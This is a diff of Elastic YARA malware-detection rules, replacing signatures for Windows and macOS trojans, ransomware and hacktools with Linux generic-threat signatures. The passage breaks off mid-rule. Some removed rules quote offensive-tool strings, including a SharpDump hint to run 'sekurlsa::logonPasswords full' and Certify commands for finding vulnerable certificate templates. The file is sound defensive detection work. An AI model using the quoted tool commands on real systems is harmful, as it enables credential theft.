-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Garble.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4820a1ec99981e03675a86c4c01acba6838f04945b5f753770b3de4e253e1b8c"
-		logic_hash = "5d88579b0f0f71b8b4310c141fb243f39696e158227da0a1e0140b030b783c65"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L923-L941"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9b10bb3773011c4da44bf3a0f05b83079e4ad30f0b1eb2636a6025b927e03c7f"
+		logic_hash = "175b9a80314cf280b995a012f13e65bd4ce7e27faebf02ae5abe978dbd14447c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b72b8d475ef50a5e703d741f195d8ce0916f46ee5744c5bc7c8d452ab23df388"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "2a1182f380b07d7ad1f46514200e33ea364711073023ad05f4d82b210e43cfed"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = ".\"G!-$G#-&J%.(G'-*G)-,J+..G--0G/-2J1.4G3-6G5-8J7.:G9-<G;->J=+@A?-BAA*DAC*FAE*HFG+JAI-LAK*NAM*PAO*RFQ+TAS-VAU9"
+		$a1 = { D0 4D E2 00 50 A0 E1 06 60 8F E0 08 00 00 0A 10 20 90 E5 18 30 90 E5 03 00 52 E1 01 40 D2 34 10 20 80 35 1F 00 00 3A 3B 01 00 EB 00 40 A0 E1 1C 00 00 EA 80 30 9F E5 38 40 80 E2 04 20 A0 E1 03 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Zpevdo_7F563544 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_1F5D056B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Zpevdo (Linux.Trojan.Zpevdo)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7f563544-4ef3-460f-9a36-23d086f9c421"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1f5d056b-1e9c-47f6-a63c-752f4cf130a1"
+		date = "2024-05-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Zpevdo.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "9cbbb5a9166184cef630d1aba8fec721f676b868d22b1f96ffc1430e98ae974c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L943-L962"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "99d982701b156fe3523b359498c2d03899ea9805d6349416c9702b1067293471"
+		logic_hash = "8ad23b593880dc1bebc95c92d0efc3a90e6b1e143c350e30b1a4258502ce7fc7"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "a2113b38c27ee7e22313bd0ffbcabadfbf7f3f33d241a97db2dc86299775afd6"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "b44a383deaa361db02b342ea52b4f3db9a604bf8b66203fefa5c5d68c361a1d0"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 20 89 7D EC 48 89 75 E0 BE 01 00 00 00 BF 11 00 }
+		$a1 = { 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 30 31 32 33 34 35 36 37 38 }
+		$a2 = { 47 45 54 20 2F 63 6F 6E 66 69 67 20 48 54 54 50 2F 31 2E 30 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sckit_A244328F : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_D94E1020 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sckit (Linux.Trojan.Sckit)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a244328f-1e12-4ae6-b583-ecf14a4b9d82"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "d94e1020-ff66-4501-95e1-45ab552b1c18"
+		date = "2024-05-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sckit.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "685da66303a007322d235b7808190c3ea78a828679277e8e03e6d8d511df0a30"
-		logic_hash = "8001c9fcf9f8b70c3e27554156b0b26ddcd6cab36bf97cf3b89a4c43c9ad883c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L964-L982"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "96a2bfbb55250b784e94b1006391cc51e4adecbdde1fe450eab53353186f6ff0"
+		logic_hash = "e4b4e588588080c66076aec02f56b4764a5f72059922db9651461c0287fe0351"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "eca152c730ecabbc9fe49173273199cb37b343d038084965ad880ddba3173f50"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "c291c07b6225c8ce94f38ad7cb8bb908039abfc43333c6524df776b28c79452a"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 34 D0 04 08 BB 24 C3 04 08 CD 80 C7 05 A0 EE 04 }
+		$a1 = { D0 4D E2 0C C0 9D E5 0C 30 4C E2 02 00 53 E3 14 30 8D E2 00 30 8D E5 10 30 9D E5 0C 10 A0 E1 03 20 A0 E1 01 00 00 8A 0F 00 00 EB 0A 00 00 EA 03 20 A0 E1 0C 10 A0 E1 37 00 90 EF 01 0A 70 E3 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Certify_Ffe1Cca2 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Aa0C23D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Certify (Windows.Hacktool.Certify)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "ffe1cca2-106c-4197-9d26-eb90331435d9"
-		date = "2024-03-27"
-		modified = "2024-05-08"
+		id = "aa0c23d5-e633-4898-91f8-3cf84c9dd6af"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Certify.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3c7f759a6c38d0c0780fba2d43be6dcf9e4869d54b66f16c0703ec8e58124953"
-		logic_hash = "e1d37ad683bfbe34433dc5e13ae2cf7c873fed640e1c58a3b0274b4b34900e53"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L984-L1004"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8314290b81b827e1a1d157c41916a41a1c033e4f74876acc6806ed79ebbcc13d"
+		logic_hash = "092f0ece2dfca3e02493c00afffe48ca4feccf56ab6f22d952a7ba5f115f3765"
 		score = 75
-		quality = 71
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "69f5648f1a9621fe33e63c150d184cb89ceef472885a928aa501a08d8069234d"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "acd33e82bcefde691df1cf2739518018f05e0f03ef2da692f3ccca810c2ef361"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "<DisplayNtAuthCertificates>b_"
-		$a2 = "<PrintAllowPermissions>b_"
-		$a3 = "<ShowVulnerableTemplates>b_"
-		$a4 = "<ParseCertificateApplicationPolicies>b_"
-		$a5 = "<PrintCertTemplate>b_"
-		$b1 = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide nocase
-		$b2 = "64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97" ascii wide nocase
-		$b3 = "Certify.exe find /vulnerable" wide
-		$b4 = "Certify.exe request /ca" wide
+		$a1 = { 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F }
+		$a2 = { 77 66 6F 66 60 6C 6E 62 67 6E 6A 6D }
+		$a3 = { 62 67 6E 6A 6D 77 66 6F 66 60 6C 6E }
 
 	condition:
-		all of ($a*) or any of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpdump_7C17D8B1 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_8299C877 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpdump (Windows.Hacktool.SharpDump)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7c17d8b1-35cf-440e-8f4e-44abdc2054bb"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "8299c877-a0c3-4673-96c7-58c80062e316"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpDump.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "14c3ea569a1bd9ac3aced4f8dd58314532dbf974bfa359979e6c7b6a4bbf41ca"
-		logic_hash = "10ca29b097d9f1cef27349751e8f1e584ead1056a636224a80f00823ca878c13"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1006-L1024"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "60c486049ec82b4fa2e0a53293ae6476216b76e2c23238ef1c723ac0a2ae070c"
+		logic_hash = "3e0653a02517faa3037fc5f3f01f6fb11164fecafc6eca457a122ef2d1a99010"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cf1e23fc0a317959fceadae8984240b174dac22a1bcabccf43c34f0186a3ac23"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "bae38e2a147dc82ffd66e89214d12c639c690f3d2e701335969f090a21bf0ba7"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "9c9bba3-a0ea-431c-866c-77004802d" ascii wide nocase
-		$print_str0 = "Please use \"SharpDump.exe [pid]\" format" ascii wide
-		$print_str1 = "[*] Use \"sekurlsa::minidump debug.out\" \"sekurlsa::logonPasswords full\" on the same OS/arch" ascii wide
-		$print_str2 = "[+] Dumping completed. Rename file to \"debug{0}.gz\" to decompress" ascii wide
-		$print_str3 = "[X] Not in high integrity, unable to MiniDump!" ascii wide
+		$a1 = { D0 4D E2 0D 10 A0 E1 07 00 A0 E3 1E 00 00 EB 00 00 50 E3 00 00 9D A5 01 0C A0 B3 0C D0 8D E2 04 E0 9D E4 1E FF 2F E1 04 70 2D E5 CA 70 A0 E3 00 00 00 EF 80 00 BD E8 1E FF 2F E1 04 70 2D E5 C9 }
 
 	condition:
-		$guid or all of ($print_str*)
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Kandykorn_A7Bb6944 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_81Aa5579 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Kandykorn (MacOS.Trojan.KandyKorn)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a7bb6944-90fa-40ba-840c-f044f12dcb39"
-		date = "2023-10-23"
-		modified = "2023-10-23"
-		reference = "https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_KandyKorn.yar#L1-L29"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "51dd4efcf714e64b4ad472ea556bf1a017f40a193a647b9e28bf356979651077"
-		logic_hash = "65decd519dee947894dd684c52d91202ebe5587acfecc0b8b56cd73f2981e387"
+		id = "81aa5579-6d94-42a7-9103-de3972dfe141"
+		date = "2024-05-21"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1026-L1044"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6be0e2c98ba5255b76c31f689432a9de83a0d76a898c28dbed0ba11354fec6c2"
+		logic_hash = "c94d590daf61217335a72f3e1bc24b09084cf0a5a174c013c5aa97c01707c2bc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2b2ebc056c79448b077dce140b2a73d6791b61ddc8bf21d4c565c95f5de49e7"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "60492dca0e33e2700c25502292e6ec54609b83c7616a96ae4731f4a1cd9e2f41"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$str_1 = "resp_file_dir"
-		$str_2 = "resp_cfg_set"
-		$str_3 = "resp_proc_kill"
-		$str_4 = "/com.apple.safari.ck" ascii fullword
-		$str_5 = "/chkupdate.XXX" ascii fullword
-		$seq_file_dir = { 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 48 63 45 ?? 48 83 C0 ?? 48 8B 4D ?? 0F B7 49 ?? 48 01 C8 48 83 C0 01 48 3D 00 00 0A 00 0F 86 ?? ?? ?? ?? }
-		$seq_cmd_send = { 8B 45 ?? 83 F8 ?? 0F 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 78 ?? 48 8B 70 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? }
-		$seq_cfg_get = { 8B 45 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 48 8B 45 ?? 48 8B 38 48 8B 70 ?? 8B 55 ?? E8 ?? ?? ?? ?? 89 45 ?? E9 ?? ?? ?? ?? }
-		$seq_proc_list = { 48 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 48 8B 85 ?? ?? ?? ?? 89 48 ?? 8B 4D ?? 48 8B 85 ?? ?? ?? ?? 89 48 ?? 8B 4D ?? 48 8B 85 ?? ?? ?? ?? }
-		$rc4_key = { D9 F9 36 CE 62 8C 3E 5D 9B 36 95 69 4D 1C DE 79 E4 70 E9 38 06 4D 98 FB F4 EF 98 0A 55 58 D1 C9 0C 7E 65 0C 23 62 A2 1B 91 4A BD 17 3A BA 5C 0E 58 37 C4 7B 89 F7 4C 5B 23 A7 29 4C C1 CF D1 1B }
+		$a1 = { D0 4D E2 07 00 8D E8 03 10 A0 E3 0D 20 A0 E1 08 00 9F E5 84 00 00 EB 0C D0 8D E2 00 80 BD E8 66 00 90 00 01 C0 A0 E1 00 10 A0 E1 08 00 9F E5 02 30 A0 E1 0C 20 A0 E1 7B 00 00 EA 04 00 90 00 01 }
 
 	condition:
-		4 of ($str*) or 3 of ($seq*) or $rc4_key
+		all of them
 }
-rule ELASTIC_Windows_Virus_Expiro_84E99Ff0 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_F2452362 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Virus Expiro (Windows.Virus.Expiro)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "84e99ff0-bff3-4a9c-93fb-504a32cbc44d"
-		date = "2023-09-26"
-		modified = "2023-11-02"
+		id = "f2452362-dc55-452f-9e93-e6a6b74d8ebd"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Virus_Expiro.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "47107836ead700bddbe9e8a0c016b5b1443c785442b2addbb50a70445779bad7"
-		logic_hash = "ce4847bf5850c1f30dca9603bfbbfbb69339285f096ac469c6d2d4b04f5562b4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1046-L1065"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5ff46c27b5823e55f25c9567d687529a24a0d52dea5bc2423b36345782e6b8f6"
+		logic_hash = "95d51077cb7c0f4b089a2e2ee8fcbab204264ade7ddd64fc1ee0176183dc84e0"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "843182cbbf7ff65699001f074972d584c65bdb1e1d76210b44cf6ba06830253c"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "cc293c87513ca1332e5ec13c9ce47efbe5e9c48c0cece435ac3c8bdbc822ea82"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 50 51 52 53 55 56 57 E8 00 00 00 00 5B 81 EB ?? ?? ?? 00 BA 00 00 00 00 53 81 }
-		$a2 = { 81 C2 00 04 00 00 81 C3 00 04 00 00 }
+		$a1 = { 6F 72 69 67 69 6E 61 6C 5F 72 65 61 64 64 69 72 }
+		$a2 = { 45 72 72 6F 72 20 69 6E 20 64 6C 73 79 6D 3A 20 25 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Doppelpaymer_6660D29F : BETA FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Da28Eb8B : FILE MEMORY
 {
 	meta:
-		description = "Identifies DOPPELPAYMER ransomware"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6660d29f-aca9-4156-90a0-ce64fded281a"
-		date = "2020-06-28"
-		modified = "2021-08-23"
-		reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Doppelpaymer.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4c12eaa44f82c6f729e51242c9c1836eb1856959c682e2d2e21b975104c197b6"
+		id = "da28eb8b-7176-4415-9c58-5f74da70f53d"
+		date = "2024-05-21"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1067-L1086"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3b4fcd19d71814d3b4899528ee9c3c2188e4a7a4d8ddb88859b1a6868e8433f"
+		logic_hash = "8b0892d0dd8a012a1f9cd87a0ad3321ae751dd17a96205c12e6648946cf2afe2"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "8bf4d098b8ce9da99a2ca13fa0759a7185ade1b3ab3b281cd15749d68546d130"
-		threat_name = "Windows.Ransomware.Doppelpaymer"
-		severity = 100
-		arch_context = "x86"
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "490b6a89ea704a25d0e21dfb9833d56bc26f93c788efb7fcbfe38544696d0dfd"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Setup run" wide fullword
-		$a2 = "RtlComputeCrc32" ascii fullword
+		$a1 = { 4A 66 67 67 6C 6A 7D 60 66 67 33 29 62 6C 6C 79 24 68 65 60 }
+		$a2 = { 48 6A 6A 6C 79 7D 33 29 7D 6C 71 7D 26 61 7D 64 65 25 68 79 79 65 60 6A 68 7D 60 66 67 26 71 61 7D 64 65 22 71 64 65 25 68 79 79 65 60 6A 68 7D 60 66 67 26 71 64 65 32 78 34 39 27 30 25 60 64 68 6E 6C 26 7E 6C 6B 79 25 23 26 23 32 78 34 39 27 31 }
 
 	condition:
-		2 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Doppelpaymer_6Ab188Da : BETA FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_A40Aaa96 : FILE MEMORY
 {
 	meta:
-		description = "Identifies DOPPELPAYMER ransomware"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6ab188da-4e73-4669-816c-554b2f04ee65"
-		date = "2020-06-28"
-		modified = "2021-08-23"
-		reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Doppelpaymer.yar#L23-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "429c87d293b7f517a594e8be020cbe7f8302a8b6eb8337f090ca18973aafbde4"
+		id = "a40aaa96-4dcf-45b8-a95e-7ed7f27a31b6"
+		date = "2024-05-21"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1088-L1108"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6f965252141084524f85d94169b13938721bce24cc986bf870473566b7cfd81b"
+		logic_hash = "ab05cbf494b3b78083fd3e71703effed797d803b0203f8a413eb69b746656b1d"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "6c33e09e66b337064a1feae5c162f72dc5f6caecaa9829e4ad9fffb10ef3e576"
-		threat_name = "Windows.Ransomware.Doppelpaymer"
-		severity = 100
-		arch_context = "x86"
+		quality = 69
+		tags = "FILE, MEMORY"
+		fingerprint = "ce2da00db88bba513f910bdb00e1c935d1d972fe20558e2ec8e3c57cdbd5b7be"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$d1 = { 56 55 55 55 F7 EF B8 56 55 55 55 8B EA F7 E9 8B C2 8B D1 C1 FA 1F 2B C2 C1 FF 1F 2B EF 8D 14 40 B8 F3 1A CA 6B 2B CA 03 E9 F7 ED 8B CD C1 FA 05 C1 F9 1F 2B D1 6B CA B4 03 CD 74 1C 81 E1 03 00 00 80 7D 07 83 E9 01 83 C9 FC 41 8B C1 F7 D8 85 C9 8D 7C 05 04 0F 45 EF 8D 44 55 02 5D 5F C3 }
+		$a1 = { 6D 61 69 6E 2E 55 69 6E 74 33 32 6E }
+		$a2 = { 6D 61 69 6E 2E 47 65 74 72 61 6E 64 }
+		$a3 = { 6D 61 69 6E 2E 28 2A 52 4E 47 29 2E 55 69 6E 74 33 32 }
 
 	condition:
-		1 of ($d*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Doppelpaymer_4Fb1A155 : BETA FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_E24558E1 : FILE MEMORY
 {
 	meta:
-		description = "Identifies DOPPELPAYMER ransomware"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4fb1a155-6448-41e9-829a-e765b7c2570e"
-		date = "2020-06-28"
-		modified = "2021-08-23"
-		reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Doppelpaymer.yar#L44-L63"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "eb041a836b2bc73312a2f87523d817d5274f3d43d3e5fe6aacfad1399c61a9de"
+		id = "e24558e1-1337-4566-8816-9b83cbaccbf6"
+		date = "2024-05-21"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1110-L1130"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9f483ddd8971cad4b25bb36a5a0cfb95c35a12c7d5cb9124ef0cfd020da63e99"
+		logic_hash = "f1f33c719a4b41968c137ed43aa0591f97b4558d4dd9bd160df519dfbbc49205"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "f7c1bb3e9d1ad02e7c4edf8accf326330331f92a0f1184bbc19c5bde7505e545"
-		threat_name = "Windows.Ransomware.Doppelpaymer"
-		severity = 100
-		arch_context = "x86"
+		quality = 69
+		tags = "FILE, MEMORY"
+		fingerprint = "04ca7e3775e3830a3388a4ad83a5e0256992c9f7beb4b59defcfb684d8471122"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$c1 = { 83 EC 64 8B E9 8B 44 24 ?? 8B 00 0F B7 10 83 FA 5C 75 }
+		$a1 = { 77 66 6F 66 60 6C 6E 62 67 6E 6A 6D }
+		$a2 = { 62 67 6E 6A 6D 77 66 6F 66 60 6C 6E }
+		$a3 = { 77 62 59 79 43 31 30 37 3A 36 3B 36 3A }
 
 	condition:
-		1 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Maui_266Dea64 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Ace836F1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Maui (Windows.Ransomware.Maui)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "266dea64-2ed2-4bfc-977b-5ddb68ab05ac"
-		date = "2022-07-08"
-		modified = "2022-07-18"
+		id = "ace836f1-74f0-4031-903b-ec5b95a40d46"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Maui.yar#L1-L29"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e"
-		logic_hash = "2094920615b6297adb222003d25a8d0934a89f24869e7e70644a4956021c7afc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1132-L1150"
